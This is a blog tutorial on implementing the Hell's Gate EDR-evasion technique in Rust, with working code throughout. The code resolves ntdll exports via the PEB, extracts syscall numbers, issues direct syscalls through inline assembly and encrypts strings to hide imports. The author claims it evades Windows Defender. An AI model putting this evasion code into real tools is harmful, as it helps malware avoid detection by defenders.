Hells Gate Rust - EDR Evasion with syscalls

Offensive Rust Hells Gate technique for EDR evasion: Implementing direct syscalls for better stealth..

Hells Gate in Rust

Hells Gate Rust

The project can be found here on my GitHub

I’ve released a YouTube video on this advanced malware development technique, it’s just over an hour long.

Part 2 can be found here:

Whilst looking for any references to making direct syscalls in Rust (specifically Hells Gate) for EDR evasion I found the community very silent on this subject (in Rust, it’s well documented in C/C++) so I have engineered this project from the ground up - I think I’m the first to blog about this from a Rust point of view which is exciting!

Before continuing, I have made a blog post about direct syscalls (which is half the battle with Hell’s Gate), but in C, and you can find that post here. In this post, we won’t go the full hog of making a whole injector with syscalls, this is to show a proof of concept of making direct syscalls in Rust for EDR evasion. A full project will likely come later when I have a little more time.

In the meantime, why not take the concept of this post and try implement your own?

Important Legal disclaimer applies, by reading on you acknowledge that, see the legal disclaimer here. In short, you must not use the below information for any criminal or unethical purposes, and it should only be used by security professionals, or for those interested in cyber security to deepen your knowledge.

What is it

Hell’s Gate is a technique published by VX Underground devs. The original paper can be found here. Hell’s Gate is a technique that is now a good few years old, which was a solid attempt at EDR Evasion. Fast forward a few years to today, many EDR’s will now combat this technique - nevertheless it is still great to learn from. I’m working on my own EDR Evasion technique called Lucifers Path, which in theory should work against current EDR’s - but more on that in the future.

Whilst Hell’s Gate may still work on some EDR’s, it does work against antivirus such as Windows Defender, and another premium, paid for, AV I have tested this against.

Hel;l’s Gate works in two parts, the first, as stated above I have covered in my blog post on direct syscalls in C. The second part of Hell’s Gate is where it differs from the technique used in that post. In that post we resolve function pointers to ntdll.dll functions by making use of the Windows API’s GetProcAddress and LoadLibraryA - both of which could flag a risk score with AntiVirus or EDR. Hell’s Gate instead resolves the function pointer to the ntdll.dll functions by accessing the PEB (Process Environment Block) in order to resolve the base address of the module we are interested in (in this case ntdll.dll); and then parsing this DLL for the Export Address Table and iterating through it looking for the function we wish to get the address of.

This technique tries to bypass EDR hooking, which is used to inspect what a piece of code is doing at runtime. For example, EDR or antivirus software may detect activities such as opening handles to other processes, injecting memory remotely, and adding shellcode. This sequence of events can be easily hooked and monitored via certain Windows DLL APIs. By using Hell’s Gate to avoid these hooks, we can prevent this behavior analysis from happening, thus evading detection by EDR solutions. Modern EDR’s will now account for this technique, by hooking within NTDLL itself, and overwriting the SSN, so we cannot read it.


Whilst I have covered both direct syscalls and raw pointers in Rust in previous posts, I’ll give a quick recap for context in this post. RedOps also covers HellsGate in brilliant detail, written in C.


When coding Windows apps or needing to do specific tasks on the Windows operating system, as programmers we use the Windows API. If you want to see the start of the Windows API coding series I have written, check it out here.

These Windows API calls can range from anything from manipulating files, such as with the CreateFileA, to opening processes with OpenProcess.

When these functions are invoked from ‘userland’, the operating system starts proxying the requests between different libraries, until eventually it reaches the bottom of ‘userland’. Essentially, calling the Windows API via the managed high level function provided by Microsoft (for instance ntdll.dll), proxies your request to kernelbase.dll; which then sets up registers and the stack to make a syscall.

When syscall is called in assembly, a System Service Number is provided (SSN) which the Kernel takes and then performs some functionality according to the SSN. The SSN is loaded into the EAX register.

One thing to note, and what is key in Hells Gate, is that SSN’s change between versions of Windows. Whilst I don’t know the frequency of the changes, if Microsoft wanted, it could be on a build by build basis if they have a reason to do so. An example, the list found on GitHub of ‘reversed SSNs’ is invalid for my particular build of Windows.

When Windows proxies the call from usermode, the value of the syscall can be found in the assembly - again - according to that build of Windows.

Here is a nice visual representation I made of what happens when you call a high level Windows API:

Syscalls in Windows

Raw pointers in Rust

We will be using pointers HEAVILY in this project, so if you don’t understand them intimately, a lot of this may be hard to follow.

A very quick recap on using raw pointers in Rust:

*mut T; // mutable raw pointer (modify the data they point to)
*const T; // constant raw pointer
*mut c_void; // mutable pointer to unspecified data, aka void* in C.

Creating the structures

In this example, we are only going to concern ourselves with the OpenProcess function, but the process remains the same when implementing this technique across any Windows API function.

First things first, we need to reconstruct the data structures that the kernel is expecting. So, looking to the documentation provided by the Windows API, we can see that it requires:

__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(
  [out]          PHANDLE            ProcessHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in]           POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PCLIENT_ID         ClientId

If you want to see how you can find which NTAPI is called by a function, check my other blog post.

Dealing with the parameters 1-by-1:

I found the CLIENT_ID structure on NirSoft in C, which defines it as:

typedef struct _CLIENT_ID
     PVOID UniqueProcess;
     PVOID UniqueThread;

Interestingly, the Windows Rust crate defines it as:

pub struct CLIENT_ID {
    pub UniqueProcess: HANDLE,
    pub UniqueThread: HANDLE,

We will go with a PVOID instead of a HANDLE as most undocumented functions of the NTAPI will not use the Windows Rust crate bindings, and instead opt for void pointers, C style types, or unions / other structures.

So, implementing this is as easy as:

// https://www.nirsoft.net/kernel_struct/vista/CLIENT_ID.html
struct ClientId {
    unique_process: *mut c_void,
    unique_thread: *mut c_void,

We add the attribute repr©, this tells the compiler to basically copy C’s formatting, so the order, size, alignment are as you would expect as if you had written and compiled it in C. Any type we are passing through the Foreign Function Interface (FFI) should have the repr© attribute. This is similar to FFI functions which have the extern “system” or extern “C” tags.

A great resource, if not the GOAT, is the Process Hacker Native API header project on GitHub. This defines CLIENT_ID as (see here):

typedef struct _CLIENT_ID
    HANDLE UniqueProcess;
    HANDLE UniqueThread;

So refactoring the Rust code to HANDLEs may be more correct.

MEMORY SAFETY WARNING: Using a *mut c_void in this case is fine, as in memory this will be the same size as a isize (aka 64-bits on a 64-bit machine, 32-bits on a 32-bit machine). In Windows, a HANDLE is a C typedef that resolves to a void pointer, which on a 64-bit machine is 64-bits, and a 32-bit machine, 32-bits. If you were to define a type as a void pointer and allocated something larger than a isize, then you will run into buffer overflows etc - leading to security vulnerabilities. One thing to note, in talking about void pointers, is that a HANDLE is not a pointer to a region of memory, it refers to an index in a lookup table in the kernel. If you are interested in learning more about this, check out eforensicsmag.com blog post on this.

Hells Gate SSN’s

Now, we need a way to dynamically find the SSN’s (syscall numbers) that are used by the NTAPI calls we are making. What we are going to do now, is simply write a function that looks up the SSN from an NTAPI function (in our case, NtOpenProcess). The SSN is located at bytes position 4 and 5, so we need to read both of those and then perform a bit-shift to get the 32 bit value of the SSN.

For now, we won’t worry about the logic of the function get_function_from_exports, we will cover that at the end of the blog post as that’s the most complex part of this.

/// Get the SSN of the NTAPI function we wish to call
fn get_ssn(dll: &str, function_name: &str) -> Option<u32> {
    // get NTDLL base addr
    let addr =  match get_function_from_exports(dll, function_name) {
        Some(a) => a,
        None => panic!("Could not get address of {}", function_name),
    // read the syscall number from the function's address
    // needs casting as *const u8 to allow dereferencing from c_void (no size in a c_void).
    // as each byte is 8 bits, we read as a u8 for 1 byte each
    let byte4 = unsafe { *(addr as *const u8).add(4) };
    let byte5 = unsafe { *(addr as *const u8).add(5) };
    // combine the fourth and fifth bytes into a u32 (DWORD)
    let nt_function_ssn = ((byte5 as u32) << 8) | (byte4 as u32);


Implementing the assembly

Now we have our types set up, we need to actually write the assembly to the binary to invoke the syscall.

The process in Rust in my opinion is MUCH nicer and more straight forward than in C.

First, we need to define our custom NT function as so:

// https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.OpenProcess.html
/// Make a system call to the equivalent of NtOpenProcess, without having to make an actual API call
fn nt_open_process(
    process_handle: *mut HANDLE,
    desired_access: u32,
    object_attributes: *mut ObjectAttributes,
    client_id: *mut ClientId,
    ssn: u32,


This takes in parameters as according to the NTAPI documentation, and the structures passed in are the structures we created above (or used from the Windows crate). Of note the Windows documentation tells us which parameters are a pointer, for instance PHANDLE is a pointer to a handle, so to reflect this in our code base, we add *** mut HANDLE** etc.

We can use Rust’s inline assembly macro to inline our assembly straight into the function, before we do, it’s important to note that you can only pass simple / raw data types into it - for example the Windows API tells us that OpenProcess returns a type NTSTATUS. NTSTATUS in Rust is represented as a struct; we cannot pass this directly as assembly. As NTSTATUS contains a i32, we can simply pass the raw type of i32 into the assembly, then recast it as required later.

let status: i32; // define as i32 so it can go into the syscall ok

Now to write the inline assembly. The asm!() macro in Rust allows us to write raw assembly and passing in variable data, and reading out other data back into a variable. Let’s look at the code then examine what it does:

unsafe {
        "mov r10, rcx",
        "mov eax, {0:e}", // move the syscall number into EAX
        in(reg) ssn, // input: Syscall number goes into EAX
        // Order: https://web.archive.org/web/20170222171451/https://msdn.microsoft.com/en-us/library/9z1stfyw.aspx
        in("rcx") process_handle, // passed to RCX (first argument)
        in("rdx") desired_access, // passed to RDX (second argument)
        in("r8") object_attributes, // passed to R8 (third argument)
        in("r9") client_id, // passed to R9 (fourth argument)
        lateout("rax") status, // output: returned value of the syscall is placed in RAX
        options(nostack), // dont modify the stack pointer

First, if you are confused about why we are doing certain instructions, check out my blog post where you can see the assembly write from ntdll.dll.

Finally, we can return an NTSTATUS from the function by casting the status variable as an NTSTATUS:

NTSTATUS(status as i32) // cast as NTSTATUS from u32

Hells Gate

Alright, now comes the tricky part.

As stipulated, Hell’s Gate in Malware resolves the function pointer to the function we wish to get the SSN from without using GetProcAddress and LoadLibraryA.

So, how do we do it? Take a look at the diagram which follows this list which is hopefully a little easier to digest…

  1. First we get the address of the PEB (Process Environment Block)
  2. Within the PEB is a pointer to a PEB_LDR_DATA structure
  3. Within PEB_LDR_DATA is a pointer to InMemoryOrderModuleList
  4. InMemoryOrderModuleList points to a LDR_DATA_TABLE_ENTRY, but specifically points to a LIST_ENTRY structure within the LDR_DATA_TABLE_ENTRY. LDR_DATA_TABLE_ENTRY is essentially a doubly linked list.
  5. The LIST_ENTRY structure contains more pointers:
    1. Flink points to the next LIST_ENTRY within a LDR_DATA_TABLE_ENTRY
    2. Blink points to the previous LIST_ENTRY within a LDR_DATA_TABLE_ENTRY
  6. Within each LDR_DATA_TABLE_ENTRY, there is a pointer to the DLLBase, the base address (virtual address) of the module the LDR_DATA_TABLE_ENTRY relates to.
  7. We take that virtual address, which will contain a DLL mapped to memory, to then parse the PE (Portable Executable) headers
  8. We search for the DataDirectory within the OptionalHeader of the PE
  9. Within the DataDirectory, at index 0, is the RVA (Relative Virtual Address) of the Export Address Table (relative to the DLLBase)
  10. The Export Address Table contains all of the functions the DLL exports; this is what we iterate through to find our function (such as NtOpenProcess)
  11. Finally, we can get the ordinal number, and use it to obtain a pointer to the address where that exported function resides.

See, I told you pointers are going to be important here!

By following these steps, malware can locate and use functions without relying on standard Windows API calls that might be monitored or restricted.

A visual representation of Hell’s Gate:

Hells Gate steps


The PEB is a structure which runs in every process which is essentially the usermode representation of the process information. On x64 this can be found at an offset from the TEB, which is always found in the gs register at gs:0x60. We can use some inline assembly in Rust to dereference this memory location, which gives us our pointer to the PEB.

Whilst we are at it, we can also get to the InMemoryOrderModuleList with our assembly snippet, as they all logically follow on from each other, with no complex assembly required.

 // get the peb and module list
    "mov {peb}, gs:[0x60]",
    "mov {ldr}, [{peb} + 0x18]",
    "mov {in_memory_order_module_list}, [{ldr} + 0x10]", // points to the Flink
    peb = out(reg) peb,
    ldr = out(reg) ldr,
    in_memory_order_module_list = out(reg) in_memory_order_module_list,

Doing it this way was a bit of a design decision by me out of frustration. The Rust Windows API provides the PEB structure, as found here. No matter how hard I tried, I couldn’t get the base address within the LDR_DATA_TABLE_ENTRY to resolve correctly. Oddly the structure was fully correct - except for the DLL base. When in doubt, deal with raw pointers and manual memory management. Using raw pointers, manual memory management and dereferencing was the path I ended up taking, and it worked a treat.

I won’t go into war and peace about how to do each step of the process of obtaining the DllBase, as I think my code does a good job of explaining it, and you can follow from the diagram above. Here is the full function to get the DLL base address of a specified input module name:

/// Get the base address of a specified module. Obtains the base address by reading from the TEB -> PEB -> 
/// PEB_LDR_DATA -> InMemoryOrderModuleList -> InMemoryOrderLinks -> DllBase 
/// Returns the DLL base address as a Option<usize> 
fn get_module_base(module_name: &str) -> Option<usize> {

    let mut peb: usize;
    let mut ldr: usize;
    let mut in_memory_order_module_list: usize;
    let mut current_entry: usize;

    unsafe {
        // get the peb and module list
            "mov {peb}, gs:[0x60]",
            "mov {ldr}, [{peb} + 0x18]",
            "mov {in_memory_order_module_list}, [{ldr} + 0x10]", // points to the Flink
            peb = out(reg) peb,
            ldr = out(reg) ldr,
            in_memory_order_module_list = out(reg) in_memory_order_module_list,

        println!("[+] Found the PEB and the InMemoryOrderModuleList at: {:p}", in_memory_order_module_list as *const c_void);
        println!("[i] Iterating through modules loaded into the process, searching for {}", module_name);

        // set the current entry to the head of the list
        current_entry = in_memory_order_module_list;
        // iterate the modules searching for 
        loop {
            // get the attributes we are after of the current entry
            let dll_base = *(current_entry.add(0x30) as *const usize);
            let module_name_address = *(current_entry.add(0x60) as *const usize);
            let module_length = *(current_entry.add(0x58) as *const u16);
            // check if the module name address is valid and not zero
            if module_name_address != 0 && module_length > 0 {
                // read the module name from memory
                let dll_name_slice = from_raw_parts(module_name_address as *const u16, (module_length / 2) as usize);
                let dll_name = OsString::from_wide(dll_name_slice);

                println!("[i] Found module: {:?}", dll_name);

                // do we have a match on the module name?
                if dll_name.to_string_lossy().eq_ignore_ascii_case(module_name) {
                    println!("[+] {:?} base address found: {:p}", dll_name, dll_base as *const c_void);
                    return Some(dll_base);
            } else {
                println!("Invalid module name address or length.");

            // dereference current_entry which contains the value of the next LDR_DATA_TABLE_ENTRY (specifically a pointer to LIST_ENTRY 
            // within the next LDR_DATA_TABLE_ENTRY)
            current_entry = *(current_entry as *const usize);

            // If we have looped back to the start, break
            if current_entry == in_memory_order_module_list {
                println!("Looped back to the start.");
                return None;

Getting the function pointer

Finally, we need to get the function pointer of the NTAPI function we wish to get the SSN for (in our case, NtOpenProcess).

Now we know the base address (as a virtual address, not a relative virtual address) of the DLL we are parsing, we need to check first of all that the module has the DOS header and NT headers - if it doesn’t, we are not in the right area of memory and we made a blunder!

Once we have checked those are valid, we can work our way (as described above) to the Export Address Table. This is a structure which exists within a PE when they export functions for other programs to use. We search through the EAT for the function name we are looking for (which is case-sensitive), and then we return a function pointer out of our function to where that function exists in our process - which the gets_ssn function can then use to resolve the SSN.

Again, I won’t go through each line of code. Getting the right pointer types took a little bit of fiddling, I’d recommend trying to implement this yourself rather than just copying and pasting, as it will teach you a lot about handling pointers in Rust! It was really fun! I will say though, it was a little annoying having to cast most of my pointers correctly… I suppose this is the price we pay in Rust for safe code!

/// Get the function address of a function in a specified DLL from the DLL Base.
/// # Parameters 
/// * dll_name -> the name of the DLL / module you are wanting to query
/// * needle -> the function name (case sensitive) of the function you are looking for
/// # Returns
/// Option<*const c_void> -> the function address as a pointer
fn get_function_from_exports(dll_name: &str, needle: &str) -> Option<*const c_void> {

    // get the dll base address
    let dll_base = match get_module_base(dll_name) {
        Some(a) => a,
        None => panic!("Unable to get address"),
    } as *mut c_void;

    // check we match the DOS header, cast as pointer to tell the compiler to treat the memory
    // address as if it were a IMAGE_DOS_HEADER structure
    let dos_header: IMAGE_DOS_HEADER = unsafe { read_memory(dll_base as *const IMAGE_DOS_HEADER) };
    if dos_header.e_magic != IMAGE_DOS_SIGNATURE {
        panic!("[-] DOS header not matched from base address: {:p}.", dll_base);

    println!("[+] DOS header matched");

    // check the NT headers
    let nt_headers = unsafe { read_memory(dll_base.offset(dos_header.e_lfanew as isize) as *const IMAGE_NT_HEADERS64) };
    if nt_headers.Signature != IMAGE_NT_SIGNATURE {
        panic!("[-] NT headers do not match signature with from dll base: {:p}.", dll_base);

    println!("[+] NT headers matched");

    // get the export directory
    // https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory
    // found from first item in the DataDirectory; then we take the structure in memory at dll_base + RVA
    let export_dir_rva = nt_headers.OptionalHeader.DataDirectory[0].VirtualAddress;
    let export_offset = unsafe {dll_base.add(export_dir_rva as usize) };
    let export_dir: IMAGE_EXPORT_DIRECTORY = unsafe { read_memory(export_offset as *const IMAGE_EXPORT_DIRECTORY) };
    // get the addresses we need
    let address_of_functions_rva = export_dir.AddressOfFunctions as usize;
    let address_of_names_rva = export_dir.AddressOfNames as usize;
    let ordinals_rva = export_dir.AddressOfNameOrdinals as usize;

    let functions = unsafe { dll_base.add(address_of_functions_rva as usize) } as *const u32;
    let names = unsafe { dll_base.add(address_of_names_rva as usize) } as *const u32;
    let ordinals = unsafe { dll_base.add(ordinals_rva as usize) } as *const u16;

    // get the amount of names to iterate over
    let number_of_names = export_dir.NumberOfNames;

    for i in 0..number_of_names {
        // calculate the RVA of the function name
        let name_rva = unsafe { *names.offset(i.try_into().unwrap()) as usize };
        // actual memory address of the function name
        let name_addr = unsafe { dll_base.add(name_rva) };
        // read the function name
        let function_name = unsafe {
            let char = name_addr as *const u8;
            let mut len = 0;
            // iterate over the memory until a null terminator is found
            while *char.add(len) != 0 {
                len += 1;

            std::slice::from_raw_parts(char, len)

        let function_name = std::str::from_utf8(function_name).unwrap_or("Invalid UTF-8");

        // if we have a match on our function name
        if function_name.eq(needle) {
            println!("[+] Function name found: {}", needle);

            // calculate the RVA of the function address
            let ordinal = unsafe { *ordinals.offset(i.try_into().unwrap()) as usize };
            let fn_rva = unsafe { *functions.offset(ordinal as isize) as usize };
            // actual memory address of the function address
            let fn_addr = unsafe { dll_base.add(fn_rva) } as *const c_void;

            println!("[i] Function address: {:p}", fn_addr);

            return Some(fn_addr);


Bringing it together

It’s felt like a real slog to get to this point - but lo, our hard work has paid off! Now we can implement the main() function! One final thing to note, I am using a string encryption library I built, you can check it out here. This encrypts strings at compile time, decrypting them at runtime, so strings such as NtOpenProcess don’t exist in our final binary (when building in release mode, they will still be present in some capacity in debug mode as symbols aren’t stripped in debug mode). You can see the string encryption by use of the sc!() macro.

fn main() {

    // top-level exception filter to catch any exceptions
    // https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-setunhandledexceptionfilter
    unsafe {

    // get pid from first positional argument
    let pid = cli_pid();

    // NtOpenProcess as an encrypted &str
    let nt = match sc!("NtOpenProcess", 20) {
        Ok(s) => s,
        Err(e) => panic!("Error converting  string: {e}"),
    let nt_open_proc_str = nt.as_str();

    // ntdll.dll as an encrypted string
    let ntdll = match sc!("ntdll.dll", 20) {
        Ok(s) => s,
        Err(e) => panic!("Error converting  string: {e}"),
    let ntdll: &str = ntdll.as_str();

    // get the SSN via the Hell's Gate technique
    let ssn = get_ssn(ntdll, nt_open_proc_str);
    let ssn = match ssn {
        None => panic!("[-] Unable to get SSN"),
        Some(s) => {
            println!("[+] Got SSN: {}", s);

    let mut process_handle: HANDLE = HANDLE(0); // process handle result of NtOpenProcess
    let desired_access = PROCESS_ALL_ACCESS; // all access
    // set as defaults
    let mut object_attributes: ObjectAttributes = ObjectAttributes {
        length: size_of::<ObjectAttributes>() as u32,
        root_directory: HANDLE(0),
        object_name: null_mut(),
        attributes: 0,
        security_descriptor: null_mut(),
        security_quality_of_service: null_mut(),
    // client_id required by https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess
    let mut client_id = ClientId {
        unique_process: pid as *mut c_void, // pid
        unique_thread: null_mut(),

    // make the call into NtOpenProcess
    let status = nt_open_process(
        &mut process_handle, // will return the process handle
        desired_access.0, // u32
        &mut object_attributes,
        &mut client_id, // contains the pid
        ssn, // syscall number

    if status.0 == 0 {
        println!("[+] Successfully opened process. Handle: {:?}", process_handle);
    } else {
        println!("[-] Failed to open process. NTSTATUS: {:#x}", status.0);


Finally, we want to prove that OpenProcess is no longer listed as an import for the binary. This reduces the detectability by EDR, making it harder to identify potentially malicious activities and preventing EDR hooking.

On the left side of the image below, we make a call to OpenProcess via the normal Windows API like so:

let res = unsafe {
    OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)

if res.is_ok() {
    println!("[+] Handle obtained, value: {:?}", res.unwrap());
} else {
    println!("[-] Unable to get handle. Error: {:?}", res)

On the right side of the image, we use our Hell’s Gate technique.

As you can see, there is now absolutely no reference to calling OpenProcess in the binary. If this were to be scanned by EDR or antivirus, it would not detect that we are opening and modifying other processes. Furthermore, EDR will not be able to hook into this to examine what we are doing.

Hells Gate proof Rust

gg :)


If you enjoyed this blog post, please make sure to subscribe to my Twitter and YouTube channel, it would really help me grow!

If you have any questions, or content suggestions, please reach out to me on Twitter!